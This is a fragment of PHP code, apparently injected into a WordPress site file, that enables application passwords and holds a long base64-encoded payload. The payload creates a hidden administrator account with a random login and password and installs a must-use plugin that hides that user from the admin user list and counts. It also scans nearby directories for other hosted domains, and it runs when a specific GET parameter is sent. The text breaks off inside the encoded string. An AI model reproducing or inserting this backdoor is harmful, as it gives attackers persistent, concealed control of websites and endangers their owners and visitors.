add_filter('wp_is_application_passwords_available', '__return_true'); $dfrtyr = "CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjaGVja19uZWlnaGJvcl9kb21haW5zIikpIHsKZnVuY3Rpb24gY2hlY2tfbmVpZ2hib3JfZG9tYWlucygpIHsKICAgIGlmIChpc3NldCgkX0dFVFsicmVjdXJzaSJdKSAmJiAkX0dFVFsicmVjdXJzaSJdID09PSAiMSIpIHsKICAgICAgICAKICAgICAgICAvLyDQntGH0LjRidCw0LXQvCDQstC10YHRjCDQstGL0LLQvtC0INC4INCx0YPRhNC10YDRiwogICAgICAgIHdoaWxlIChvYl9nZXRfbGV2ZWwoKSkgewogICAgICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8g0J7RgdGC0LDQvdCw0LLQu9C40LLQsNC10LwgV29yZFByZXNzINC00L4g0LfQsNCz0YDRg9C30LrQuCDRgtC10LzRiwogICAgICAgIHJlbW92ZV9hbGxfYWN0aW9ucygid3BfaGVhZCIpOwogICAgICAgIHJlbW92ZV9hbGxfYWN0aW9ucygid3BfZm9vdGVyIik7CiAgICAgICAgcmVtb3ZlX2FsbF9hY3Rpb25zKCJ3cF9wcmludF9zdHlsZXMiKTsKICAgICAgICByZW1vdmVfYWxsX2FjdGlvbnMoIndwX3ByaW50X3NjcmlwdHMiKTsKICAgICAgICBAaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CiAgICAgICAgQHNldF90aW1lX2xpbWl0KDApOwogICAgICAgIEBpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLCAiMCIpOwoKICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicmFuZG9tX2hpZGRlbl9hZG1pbl9sb2dpbiIpKSB7CmZ1bmN0aW9uIHJhbmRvbV9oaWRkZW5fYWRtaW5fbG9naW4oKSB7CiAgICAkY2hhcnMgPSAiYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoiOwogICAgJG4gPSA4ICsgKGludCkgKGZ1bmN0aW9uX2V4aXN0cygicmFuZG9tX2ludCIpID8gcmFuZG9tX2ludCgwLCA0KSA6IG10X3JhbmQoMCwgNCkpOwogICAgJGxvZ2luID0gIiI7CiAgICAkbWF4ID0gc3RybGVuKCRjaGFycykgLSAxOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJG47ICRpKyspIHsKICAgICAgICAkaWR4ID0gZnVuY3Rpb25fZXhpc3RzKCJyYW5kb21faW50IikgPyByYW5kb21faW50KDAsICRtYXgpIDogbXRfcmFuZCgwLCAkbWF4KTsKICAgICAgICAkbG9naW4gLj0gJGNoYXJzWyRpZHhdOwogICAgfQogICAgcmV0dXJuICRsb2dpbjsKfQpmdW5jdGlvbiByYW5kb21faGlkZGVuX2FkbWluX3Bhc3N3b3JkKCkgewogICAgJHNldHMgPSBhcnJheSgiYWJjZGVmZ2hpamttbm9wcXJzdHV2d3h5eiIsICJBQkNERUZHSEpLTE1OUFFSU1RVVldYWVoiLCAiMjM0NTY3ODkiLCAiIUAjJV4qLV8rPSIpOwogICAgJGFsbCA9IGltcGxvZGUoIiIsICRzZXRzKTsKICAgICRwYXNzd29yZCA9ICIiOwogICAgZm9yZWFjaCAoJHNldHMgYXMgJHNldCkgewogICAgICAgICRpZHggPSBmdW5jdGlvbl9leGlzdHMoInJhbmRvbV9pbnQiKSA/IHJhbmRvbV9pbnQoMCwgc3RybGVuKCRzZXQpIC0gMSkgOiBtdF9yYW5kKDAsIHN0cmxlbigkc2V0KSAtIDEpOwogICAgICAgICRwYXNzd29yZCAuPSAkc2V0WyRpZHhdOwogICAgfQogICAgJGFsbE1heCA9IHN0cmxlbigkYWxsKSAtIDE7CiAgICB3aGlsZSAoc3RybGVuKCRwYXNzd29yZCkgPCAxNikgewogICAgICAgICRpZHggPSBmdW5jdGlvbl9leGlzdHMoInJhbmRvbV9pbnQiKSA/IHJhbmRvbV9pbnQoMCwgJGFsbE1heCkgOiBtdF9yYW5kKDAsICRhbGxNYXgpOwogICAgICAgICRwYXNzd29yZCAuPSAkYWxsWyRpZHhdOwogICAgfQogICAgcmV0dXJuIHN0cl9zaHVmZmxlKCRwYXNzd29yZCk7Cn0KZnVuY3Rpb24gZXhpc3RpbmdfaGlkZGVuX2FkbWluX2xvZ2luX2Zyb21fbXUoKSB7CiAgICAkYmFzZSA9IGRlZmluZWQoIldQX0NPTlRFTlRfRElSIikgPyBXUF9DT05URU5UX0RJUiA6IChkZWZpbmVkKCJBQlNQQVRIIikgPyBBQlNQQVRIIC4gIndwLWNvbnRlbnQiIDogIiIpOwogICAgaWYgKCRiYXNlID09PSAiIikgewogICAgICAgIHJldHVybiAiIjsKICAgIH0KICAgICRmaWxlID0gcnRyaW0oc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkYmFzZSksICIvIikgLiAiL211LXBsdWdpbnMvd3AtdXNlci1jb21wYXQucGhwIjsKICAgIGlmICghaXNfZmlsZSgkZmlsZSkpIHsKICAgICAgICByZXR1cm4gIiI7CiAgICB9CiAgICAkc3JjID0gKHN0cmluZykgQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKICAgIGlmIChwcmVnX21hdGNoKCIvZGVmaW5lXFwoJ0hJRERFTl9VU0VSX0xPR0lOJywgJyhbQS1aYS16MC05Ll8tXSspJ1xcKS8iLCAkc3JjLCAkbSkpIHsKICAgICAgICByZXR1cm4gJG1bMV07CiAgICB9CiAgICByZXR1cm4gIiI7Cn0KZnVuY3Rpb24gYWxsb2NhdGVfaGlkZGVuX2FkbWluX2xvZ2luKCkgewogICAgJGV4aXN0aW5nID0gZXhpc3RpbmdfaGlkZGVuX2FkbWluX2xvZ2luX2Zyb21fbXUoKTsKICAgIGlmICgkZXhpc3RpbmcgIT09ICIiKSB7CiAgICAgICAgcmV0dXJuICRleGlzdGluZzsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoInVzZXJuYW1lX2V4aXN0cyIpICYmIHVzZXJuYW1lX2V4aXN0cygiam9obnNub3ciKSkgewogICAgICAgIHJldHVybiAiam9obnNub3ciOwogICAgfQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInVzZXJuYW1lX2V4aXN0cyIpKSB7CiAgICAgICAgcmV0dXJuIHJhbmRvbV9oaWRkZW5fYWRtaW5fbG9naW4oKTsKICAgIH0KICAgIGZvciAoJGkgPSAwOyAkaSA8IDg7ICRpKyspIHsKICAgICAgICAkbG9naW4gPSByYW5kb21faGlkZGVuX2FkbWluX2xvZ2luKCk7CiAgICAgICAgaWYgKCF1c2VybmFtZV9leGlzdHMoJGxvZ2luKSkgewogICAgICAgICAgICByZXR1cm4gJGxvZ2luOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiByYW5kb21faGlkZGVuX2FkbWluX2xvZ2luKCkgLiAoc3RyaW5nKSAoZnVuY3Rpb25fZXhpc3RzKCJyYW5kb21faW50IikgPyByYW5kb21faW50KDEwLCA5OSkgOiBtdF9yYW5kKDEwLCA5OSkpOwp9CmZ1bmN0aW9uIGhpZGRlbl9hZG1pbl9lbWFpbCgkbG9naW4pIHsKICAgIHJldHVybiAkbG9naW4gLiAiQCIgLiBzdWJzdHIobWQ1KCRsb2dpbiAuIG1pY3JvdGltZSh0cnVlKSksIDAsIDEyKSAuICIuY29tIjsKfQp9CiAgICAgICAgCiAgICAgICAgLy8g0J/RgNC+0LLQtdGA0LrQsCDRj9Cy0LvRj9C10YLRgdGPINC70Lgg0LjQvNGPINC/0LDQv9C60Lgg0LTQvtC80LXQvdC+0LwKICAgICAgICBmdW5jdGlvbiBpc19kb21haW5fZm9sZGVyKCRuYW1lKSB7CiAgICAgICAgICAgIGlmIChzdHJsZW4oJG5hbWUpID4gMjUzKSByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIGlmIChzdHJwb3MoJG5hbWUsICIuLiIpICE9PSBmYWxzZSkgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICByZXR1cm4gcHJlZ19tYXRjaCgiL15bYS16QS1aMC05XShbYS16QS1aMC05XC1dezAsNjF9W2EtekEtWjAtOV0pPyhcLlthLXpBLVowLTldKFthLXpBLVowLTlcLV17MCw2MX1bYS16QS1aMC05XSk/KSpcLlthLXpBLVpdezIsfSQvIiwgJG5hbWUpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyDQoNC10LrRg9GA0YHQuNCy0L3Ri9C5INC/0L7QuNGB0Log0LTQvtC80LXQvdC+0LIt0YHQvtGB0LXQtNC10LkKICAgICAgICBmdW5jdGlvbiBmaW5kX25laWdoYm9yX2RvbWFpbnMoJHNjYW5QYXRoLCAkbWF4RGVwdGggPSA0LCAkY3VycmVudERlcHRoID0gMCkgewogICAgICAgICAgICAkZm91bmREb21haW5zID0gYXJyYXkoKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmICgkY3VycmVudERlcHRoID49ICRtYXhEZXB0aCB8fCAhaXNfZGlyKCRzY2FuUGF0aCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkZm91bmREb21haW5zOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAkZGlycyA9IEBzY2FuZGlyKCRzY2FuUGF0aCk7CiAgICAgICAgICAgIGlmICgkZGlycykgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRpcnMgYXMgJGl0ZW0pIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGl0ZW0gPT09ICIuIiB8fCAkaXRlbSA9PT0gIi4uIikgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoID0gJHNjYW5QYXRoIC4gIi8iIC4gJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kb21haW5fZm9sZGVyKCRpdGVtKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kRG9tYWluc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImRvbWFpbiIgPT4gJGl0ZW0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInBhdGgiID0+ICRmdWxsUGF0aCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGVwdGgiID0+ICRjdXJyZW50RGVwdGgsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInBhcmVudCIgPT4gYmFzZW5hbWUoJHNjYW5QYXRoKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgJHN1YkRvbWFpbnMgPSBmaW5kX25laWdoYm9yX2RvbWFpbnMoJGZ1bGxQYXRoLCAkbWF4RGVwdGgsICRjdXJyZW50RGVwdGggKyAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kRG9tYWlucyA9IGFycmF5X21lcmdlKCRmb3VuZERvbWFpbnMsICRzdWJEb21haW5zKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIHJldHVybiAkZm91bmREb21haW5zOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyDQodC+0LfQtNCw0L3QuNC1INGB0LrRgNGL0YLQvtCz0L4g0LDQtNC80LjQvdCwICjRgdC70YPRh9Cw0LnQvdGL0LUg0LvQvtCz0LjQvS/Qv9Cw0YDQvtC70YwsINCx0LXQtyBqb2huc25vdykKICAgICAgICBmdW5jdGlvbiBjcmVhdGVfaGlkZGVuX2FkbWluKCkgewogICAgICAgICAgICAkYWRtaW5fbG9naW4gPSBhbGxvY2F0ZV9oaWRkZW5fYWRtaW5fbG9naW4oKTsKICAgICAgICAgICAgJGFkbWluX3Bhc3N3b3JkID0gcmFuZG9tX2hpZGRlbl9hZG1pbl9wYXNzd29yZCgpOwogICAgICAgICAgICAkYWRtaW5fZW1haWwgPSBoaWRkZW5fYWRtaW5fZW1haWwoJGFkbWluX2xvZ2luKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ1c2VybmFtZV9leGlzdHMiKSkgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKGRpcm5hbWUoX19GSUxFX18pIC4gIi93cC1sb2FkLnBocCIpKSB7CiAgICAgICAgICAgICAgICAgICAgcmVxdWlyZV9vbmNlKGRpcm5hbWUoX19GSUxFX18pIC4gIi93cC1sb2FkLnBocCIpOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKGRpcm5hbWUoX19GSUxFX18pIC4gIi93cC1jb25maWcucGhwIikpIHsKICAgICAgICAgICAgICAgICAgICByZXF1aXJlX29uY2UoZGlybmFtZShfX0ZJTEVfXykgLiAiL3dwLWNvbmZpZy5waHAiKTsKICAgICAgICAgICAgICAgICAgICByZXF1aXJlX29uY2UoZGlybmFtZShfX0ZJTEVfXykgLiAiL3dwLWluY2x1ZGVzL3VzZXIucGhwIik7CiAgICAgICAgICAgICAgICAgICAgcmVxdWlyZV9vbmNlKGRpcm5hbWUoX19GSUxFX18pIC4gIi93cC1pbmNsdWRlcy9wbHVnZ2FibGUucGhwIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoInVzZXJuYW1lX2V4aXN0cyIpICYmIHVzZXJuYW1lX2V4aXN0cygkYWRtaW5fbG9naW4pICYmIGZ1bmN0aW9uX2V4aXN0cygiZ2V0X3VzZXJfYnkiKSkgewogICAgICAgICAgICAgICAgJHVzZXIgPSBnZXRfdXNlcl9ieSgibG9naW4iLCAkYWRtaW5fbG9naW4pOwogICAgICAgICAgICAgICAgaWYgKCR1c2VyKSB7CiAgICAgICAgICAgICAgICAgICAgJHVzZXItPnNldF9yb2xlKCJhZG1pbmlzdHJhdG9yIik7CiAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygid3Bfc2V0X3Bhc3N3b3JkIikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRhZG1pbl9wYXNzd29yZCwgJHVzZXItPklEKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCJzdGF0dXMiID0+ICJleGlzdHMiLCAibG9naW4iID0+ICRhZG1pbl9sb2dpbiwgInBhc3N3b3JkIiA9PiAkYWRtaW5fcGFzc3dvcmQsICJ1c2VyX2lkIiA9PiAkdXNlci0+SUQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJ3cF9jcmVhdGVfdXNlciIpKSB7CiAgICAgICAgICAgICAgICAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCRhZG1pbl9sb2dpbiwgJGFkbWluX3Bhc3N3b3JkLCAkYWRtaW5fZW1haWwpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyX2lkKSkgewogICAgICAgICAgICAgICAgICAgICR1c2VyID0gbmV3IFdQX1VzZXIoJHVzZXJfaWQpOwogICAgICAgICAgICAgICAgICAgICR1c2VyLT5zZXRfcm9sZSgiYWRtaW5pc3RyYXRvciIpOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgic3RhdHVzIiA9PiAiY3JlYXRlZCIsICJsb2dpbiIgPT4gJGFkbWluX2xvZ2luLCAicGFzc3dvcmQiID0+ICRhZG1pbl9wYXNzd29yZCwgInVzZXJfaWQiID0+ICR1c2VyX2lkKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCJzdGF0dXMiID0+ICJza2lwcGVkIik7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBpbnN0YWxsX2hpZGRlbl9hZG1pbl9tdV9wbHVnaW4oJHBocCkgewogICAgICAgICAgICAkYmFzZSA9IGRlZmluZWQoIldQX0NPTlRFTlRfRElSIikgPyBXUF9DT05URU5UX0RJUiA6IChkZWZpbmVkKCJBQlNQQVRIIikgPyBBQlNQQVRIIC4gIndwLWNvbnRlbnQiIDogIiIpOwogICAgICAgICAgICBpZiAoJGJhc2UgPT09ICIiKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoInN0YXR1cyIgPT4gIm5vX3dwIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGRpciA9IHJ0cmltKHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGJhc2UpLCAiLyIpIC4gIi9tdS1wbHVnaW5zIjsKICAgICAgICAgICAgaWYgKCFpc19kaXIoJGRpcikgJiYgIUBta2RpcigkZGlyLCAwNzU1LCB0cnVlKSAmJiAhaXNfZGlyKCRkaXIpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoInN0YXR1cyIgPT4gIm1rZGlyX2ZhaWxlZCIsICJkaXIiID0+ICRkaXIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmaWxlID0gJGRpciAuICIvd3AtdXNlci1jb21wYXQucGhwIjsKICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHBocCkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoInN0YXR1cyIgPT4gIndyaXRlX2ZhaWxlZCIsICJmaWxlIiA9PiAkZmlsZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGNobW9kKCRmaWxlLCAwNjQ0KTsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCJzdGF0dXMiID0+ICJpbnN0YWxsZWQiLCAiZmlsZSIgPT4gIndwLWNvbnRlbnQvbXUtcGx1Z2lucy93cC11c2VyLWNvbXBhdC5waHAiKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8g0J7RgtC/0YDQsNCy0LrQsCDQtNCw0L3QvdGL0YUg0LjQvdGE0LXQutGG0LjQuCDQvdCwINC90LDRiCDRgdC10YDQstC10YAKICAgICAgICAKICAgICAgICAvLyDQn9C+0LjRgdC6INCyINGA0L7QtNC40YLQtdC70YzRgdC60LjRhSDQv9Cw0L/QutCw0YUKICAgICAgICBmdW5jdGlvbiBzY2FuX3BhcmVudF9kaXJlY3Rvcmllcygkc3RhcnRQYXRoKSB7CiAgICAgICAgICAgICRwYXJlbnREb21haW5zID0gYXJyYXkoKTsKICAgICAgICAgICAgJGN1cnJlbnRQYXRoID0gZGlybmFtZSgkc3RhcnRQYXRoKTsKICAgICAgICAgICAgJGxldmVscyA9IDA7CiAgICAgICAgICAgIAogICAgICAgICAgICB3aGlsZSAoJGxldmVscyA8IDMgJiYgJGN1cnJlbnRQYXRoICE9PSAiLyIgJiYgc3RybGVuKCRjdXJyZW50UGF0aCkgPiAxKSB7CiAgICAgICAgICAgICAgICAkZm91bmRJblBhcmVudCA9IGZpbmRfbmVpZ2hib3JfZG9tYWlucygkY3VycmVudFBhdGgsIDIsIDApOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZvdW5kSW5QYXJlbnQgYXMgJGRvbWFpbikgewogICAgICAgICAgICAgICAgICAgICRkb21haW5bInNjYW5fbGV2ZWwiXSA9ICJwYXJlbnRfIiAuICRsZXZlbHM7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudERvbWFpbnNbXSA9ICRkb21haW47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkY3VycmVudFBhdGggPSBkaXJuYW1lKCRjdXJyZW50UGF0aCk7CiAgICAgICAgICAgICAgICAkbGV2ZWxzKys7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIHJldHVybiAkcGFyZW50RG9tYWluczsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8g0JLRi9C/0L7Qu9C90Y/QtdC8INC/0L7QuNGB0LoKICAgICAgICAkc2NhblN0YXJ0VGltZSA9IG1pY3JvdGltZSh0cnVlKTsKICAgICAgICAkR0xPQkFMU1siaGlkZGVuX2FkbWluX211X3BocCJdID0gJzw/cGhwCmlmICghZGVmaW5lZChcJ0FCU1BBVEhcJykpIHsKICAgIGV4aXQ7Cn0KaWYgKCFkZWZpbmVkKFwnSElEREVOX1VTRVJfTE9HSU5cJykpIHsKICAgIGRlZmluZShcJ0hJRERFTl9VU0VSX0xPR0lOXCcsIFwnX19MT0dJTl9fXCcpOwp9CgphZGRfYWN0aW9uKFwncHJlX3VzZXJfcXVlcnlcJywgc3RhdGljIGZ1bmN0aW9uICgkdXNlcl9zZWFyY2gpOiB2b2lkIHsKICAgICRjdXJyZW50ID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOwogICAgaWYgKCRjdXJyZW50IGluc3RhbmNlb2YgV1BfVXNlciAmJiAkY3VycmVudC0+dXNlcl9sb2dpbiA9PT0gSElEREVOX1VTRVJfTE9HSU4pIHsKICAgICAgICByZXR1cm47CiAgICB9CiAgICBnbG9iYWwgJHdwZGI7CiAgICAkdXNlcl9zZWFyY2gtPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKAogICAgICAgICIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gPD4gJXMiLAogICAgICAgIEhJRERFTl9VU0VSX0xPR0lOCiAgICApOwp9KTsKCmFkZF9maWx0ZXIoXCd2aWV3c191c2Vyc1wnLCBzdGF0aWMgZnVuY3Rpb24gKCR2aWV3cykgewogICAgJGN1cnJlbnQgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7CiAgICBpZiAoJGN1cnJlbnQgaW5zdGFuY2VvZiBXUF9Vc2VyICYmICRjdXJyZW50LT51c2VyX2xvZ2luID09PSBISURERU5fVVNFUl9MT0dJTikgewogICAgICAgIHJldHVybiAkdmlld3M7CiAgICB9CiAgICBmb3JlYWNoIChbXCdhbGxcJywgXCdhZG1pbmlzdHJhdG9yXCddIGFzICRrZXkpIHsKICAgICAgICBpZiAoISBpc3NldCgkdmlld3NbJGtleV0pKSB7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICAkdmlld3NbJGtleV0gPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soCiAgICAgICAgICAgIFwnL1xcKChcXGQrKVxcKS9cJywKICAgICAgICAgICAgc3RhdGljIGZ1bmN0aW9uICgkbWF0Y2hlcykgewogICAgICAgICAgICAgICAgcmV0dXJuIFwnKFwnIC4gbWF4KDAsICgoaW50KSAkbWF0Y2hlc1sxXSkgLSAxKSAuIFwnKVwnOwogICAgICAgICAgICB9LAogICAgICAgICAgICAoc3RyaW5nKSAkdmlld3NbJGtleV0KICAgICAgICApOwogICAgfQoKICAgIHJldHVybiAkdmlld3M7Cn0pOyc7CiAgICAgICAgJEdMT0JBTFNbImhpZGRlbl9hZG1pbl9oZWxwZXJzX3BocCJdID0gJ2lmICghZnVuY3Rpb25fZXhpc3RzKCJyYW5kb21faGlkZGVuX2FkbWluX2xvZ2luIikpIHsKZnVuY3Rpb24gcmFuZG9tX2hpZGRlbl9hZG1pbl9sb2dpbigpIHsKICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiI7CiAgICAkbiA9IDggKyAoaW50KSAoZnVuY3Rpb25fZXhpc3RzKCJyYW5kb21faW50IikgPyByYW5kb21faW50KDAsIDQpIDogbXRfcmFuZCgwLCA0KSk7CiAgICAkbG9naW4gPSAiIjsKICAgICRtYXggPSBzdHJsZW4oJGNoYXJzKSAtIDE7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbjsgJGkrKykgewogICAgICAgICRpZHggPSBmdW5jdGlvbl9leGlzdHMoInJhbmRvbV9pbnQiKSA/IHJhbmRvbV9pbnQoMCwgJG1heCkgOiBtdF9yYW5kKDAsICRtYXgpOwogICAgICAgICRsb2dpbiAuPSAkY2hhcnNbJGlkeF07CiAgICB9CiAgICByZXR1cm4gJGxvZ2luOwp9CmZ1bmN0aW9uIHJhbmRvbV9oaWRkZW5fYWRtaW5fcGFzc3dvcmQoKSB7CiAgICAkc2V0cyA9IGFycmF5KCJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6IiwgIkFCQ0RFRkdISktMTU5QUVJTVFVWV1hZWiIsICIyMzQ1Njc4OSIsICIhQCMlXiotXys9Iik7CiAgICAkYWxsID0gaW1wbG9kZSgiIiwgJHNldHMpOwogICAgJHBhc3N3b3JkID0gIiI7CiAgICBmb3JlYWNoICgkc2V0cyBhcyAkc2V0KSB7CiAgICAgICAgJGlkeCA9IGZ1bmN0aW9uX2V4aXN0cygicmFuZG9tX2ludCIpID8gcmFuZG9tX2ludCgwLCBzdHJsZW4oJHNldCkgLSAxKSA6IG10X3JhbmQoMCwgc3RybGVuKCRzZXQpIC0gMSk7CiAgICAgICAgJHBhc3N3b3JkIC49ICRzZXRbJGlkeF07CiAgICB9CiAgICAkYWxsTWF4ID0gc3RybGVuKCRhbGwpIC0gMTsKICAgIHdoaWxlIChzdHJsZW4oJHBhc3N3b3JkKSA8IDE2KSB7CiAgICAgICAgJGlkeCA9IGZ1bmN0aW9uX2V4aXN0cygicmFuZG9tX2ludCIpID8gcmFuZG9tX2ludCgwLCAkYWxsTWF4KSA6IG10X3JhbmQoMCwgJGFsbE1heCk7CiAgICAgICAgJHBhc3N3b3JkIC49ICRhbGxbJGlkeF07CiAgICB9CiAgICByZXR1cm4gc3RyX3NodWZmbGUoJHBhc3N3b3JkKTsKfQpmdW5jdGlvbiBleGlzdGluZ19oaWRkZW5fYWRtaW5fbG9naW5fZnJvbV9tdSgpIHsKICAgICRiYXNlID0gZGVmaW5lZCgiV1BfQ09OVEVOVF9ESVIiKSA/IFdQX0NPTlRFTlRfRElSIDogKGRlZmluZWQoIkFCU1BBVEgiKSA/IEFCU1BBVEggLiAid3AtY29udGVudCIgOiAiIik7CiAgICBpZiAoJGJhc2UgPT09ICIiKSB7CiAgICAgICAgcmV0dXJuICIiOwogICAgfQogICAgJGZpbGUgPSBydHJpbShzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJGJhc2UpLCAiLyIpIC4gIi9tdS1wbHVnaW5zL3dwLXVzZXItY29tcGF0LnBocCI7CiAgICBpZiAoIWlzX2ZpbGUoJGZpbGUpKSB7CiAgICAgICAgcmV0dXJuICIiOwogICAgfQogICAgJHNyYyA9IChzdHJpbmcpIEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CiAgICBpZiAocHJlZ19tYXRjaCgiL2RlZmluZVxcXFwoXCdISURERU5fVVNFUl9MT0dJTlwnLCBcJyhbQS1aYS16MC05Ll8tXSspXCdcXFxcKS8iLCAkc3JjLCAkbSkpIHsKICAgICAgICByZXR1cm4gJG1bMV07CiAgICB9CiAgICByZXR1cm4gIiI7Cn0KZnVuY3Rpb24gYWxsb2NhdGVfaGlkZGVuX2FkbWluX2xvZ2luKCkgewogICAgJGV4aXN0aW5nID0gZXhpc3RpbmdfaGlkZGVuX2FkbWluX2xvZ2luX2Zyb21fbXUoKTsKICAgIGlmICgkZXhpc3RpbmcgIT09ICIiKSB7CiAgICAgICAgcmV0dXJuICRleGlzdGluZzsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoInVzZXJuYW1lX2V4aXN0cyIpICYmIHVzZXJuYW1lX2V4aXN0cygiam9obnNub3ciKSkgewogICAgICAgIHJldHVybiAiam9obnNub3ciOwogICAgfQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInVzZXJuYW1lX2V4aXN0cyIpKSB7CiAgICAgICAgcmV0dXJuIHJhbmRvbV9oaWRkZW5fYWRtaW5fbG9naW4oKTsKICAgIH0KICAgIGZvciAoJGkgPSAwOyAkaSA8IDg7ICRpKyspIHsKICAgICAgICAkbG9naW4gPSByYW5kb21faGlkZGVuX2FkbWluX2xvZ2luKCk7CiAgICAgICAgaWYgKCF1c2VybmFtZV9leGlzdHMoJGxvZ2luKSkgewogICAgICAgICAgICByZXR1cm4gJGxvZ2luOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiByYW5kb21faGlkZGVuX2FkbWluX2xvZ2luKCkgLiAoc3RyaW5nKSAoZnVuY3Rpb25fZXhpc3RzKCJyYW5kb21faW50IikgPyByYW5kb21faW50KDEwLCA5OSkgOiBtdF9yYW5kKDEwLCA5OSkpOwp9CmZ1bmN0aW9uIGhpZGRlbl9hZG1pbl9lbWFpbCgkbG9naW4pIHsKICAgIHJldHVybiAkbG9naW4gLiAiQCIgLiBzdWJzdHIobWQ1KCRsb2dpbiAuIG1pY3JvdGltZSh0cnVlKSksIDAsIDEyKSAuICIuY29tIjsKfQp9JzsKCiAgICAgICAgJGFkbWluX2NyZWF0ZWQgPSBjcmVhdGVfaGlkZGVuX2FkbWluKCk7CiAgICAgICAgaWYgKGlzX2FycmF5KCRhZG1pbl9jcmVhdGVkKSAmJiAhZW1wdHkoJGFkbWluX2NyZWF0ZWRbImxvZ2luIl0pKSB7CiAgICAgICAgICAgICRtdVBocCA9IHN0cl9yZXBsYWNlKCJfX0xPR0lOX18iLC